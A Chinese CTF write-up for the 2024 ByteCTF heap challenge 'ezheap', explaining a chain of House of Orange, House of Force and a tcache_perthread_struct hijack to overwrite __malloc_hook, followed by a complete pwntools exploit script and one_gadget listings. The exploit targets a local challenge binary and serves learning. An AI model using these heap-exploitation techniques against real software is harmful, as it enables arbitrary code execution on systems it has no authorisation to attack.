【PWN · HOO | HOF | Tcache pthread struct】[2024 · ByteCTF] ezheap

在学习了一段时间堆后,终于能较为从容、有思路地做题了

目录

前言

一、题目

二、总体思路

三、攻击过程调试 

(1)House of Orange 

(2)House of Force + tcache pthread struct attack

四、EXP 

总结


前言

做完后看了几个战队的WP,或多或少方法都有些差异,我的方法可能比较复杂(代码量来看)但是自己上手,遇到问题、想思路什么的,收益颇丰。于是记一篇博客,既是分享,也是总结。


一、题目

自然是保护全开 

经典的菜单,但是左边函数名一看,坏了,没有 free

看一下几个函数

add 里面,malloc 的值可以自定义,可以用 HOF (House of Force) 

freechunk 里面自然看不到 free,实际运行了一下,也没什么用。 

show 里面是按照字符串打印,需要注意 \x00 截断的问题

edit 里面存在任意长度的堆溢出

其中好像有一个 checksanbox 函数似乎是禁止修改 hook 的。但是动调算了一下,好像没有涉及到__malloc_hook(后面过程发现__realloc_hook禁止修改,但是__malloc_hook可以修改。。)

二、总体思路

拿到这题,先发散的想想,该怎么做。没有 free 的情况也算是很经典了,自然而然想到 House of Orange,能够在没有 free 的情况下,泄露 libc 和 heap

此外呢?之前代码审计的时候看到 malloc 没有限制,完全按照自己输入的 size 进行申请内存,而且存在任意长度的堆溢出,所以 House of Force 也是可行的。

程序开了PIE,House of Force 能够劫持 Top chunk 到任意位置,想劫持到 chunklist 但是地址不清楚啊;那就考虑偏移,即堆上是否有能够利用的地方呢,我通过偏移劫持到堆的某个位置?或者劫持到 libc 上?—— 如果劫持到 libc 上,修改__malloc_hook,或许可行。但是堆上也有一个结构可以利用,而我做题还没有遇到,所以想试试—— Tcache pthread struct。如果能劫持 tcache pthread struct,就能够做到任意地址分配,实现任意地址写,再修改__malloc_hook。(虽然好像多走了一步。。但是能够保证 topchunk 还是在堆区,可以避免很多问题,此外,在堆区意味着只需要知道偏移,而不一定需要知道具体的堆地址)

 因此总结思路如下:
House of Orange (泄露 libc 、heapbase)--->  House of Force (劫持tcache pthread struct)---> tcache pthread struct attack (修改__malloc_hook)---> 打ogg

三、攻击过程调试 

调试时自然是遇到很多问题,现在是 exp 通过后,因此就直接上正确的调试过程,不再做过程中遇到问题的一些解释。 

(1)House of Orange 

 ​​​​

 

 

 

至此,House of Orange 的攻击结束,成功 leak libc 和 heap 

(2)House of Force + tcache pthread struct attack

四、EXP 

from pwn import *
libc=ELF("./libc-2.27.so")
elf=ELF("./pwn")
context(arch=elf.arch,log_level='debug')

def add(size):
    io.sendlineafter(b'to exit:\n',b'1')
    io.sendlineafter(b'add:\n',str(size).encode())

def show(index):
    io.sendlineafter(b'to exit:\n',b'3')
    io.sendlineafter(b'show:\n',str(index).encode())

def edit(index,size,content):
    io.sendlineafter(b'to exit:\n',b'4')
    io.sendlineafter(b'edit:\n',str(index).encode())
    io.sendlineafter(b'size\n',str(size).encode())
    io.sendlineafter(b'input\n',content)

io=process("./pwn")
gdb.attach(io)

### house of orange
# leak libc
add(0x30)
edit(0,0x40,p64(0)*7+p64(0x0d71))
add(0xe00)
add(0x40)
show(2)
io.recvuntil(b': ')
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x3ec2a0
libc.address=libc_base
info('libc_base: '+hex(libc_base))
malloc_hook=libc_base+0x3ebc30
info('__malloc_hook: '+hex(malloc_hook))

# leak heap
edit(2,0x10,b'aaaaaaaaaaaaaaaa')
show(2)
io.recvuntil(b': ')
io.recv(0x10)
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
info('heap_base: '+hex(heap_base))

### House of force 打 tcache pthread struct
add(0xd00-0x10)
add(0x20)
edit(4,0x30,p64(0)*5+b'\xff'*8)
add(-138826)
add(0x70)
edit(6,64+0x8,p8(1)+p8(0)*63+p64(malloc_hook))
add(0x10)
'''
0x4f2be execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv

'''
edit(7,0x8,p64(libc_base+0x4f322))
add(0)
io.interactive()

总结

还要向各个战队学习,精简、直接、多解、花式利用

对笔者来说,算是酣畅淋漓的综合利用,虽然题目不算特别难,但是也能涨涨士气。与诸君共勉

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值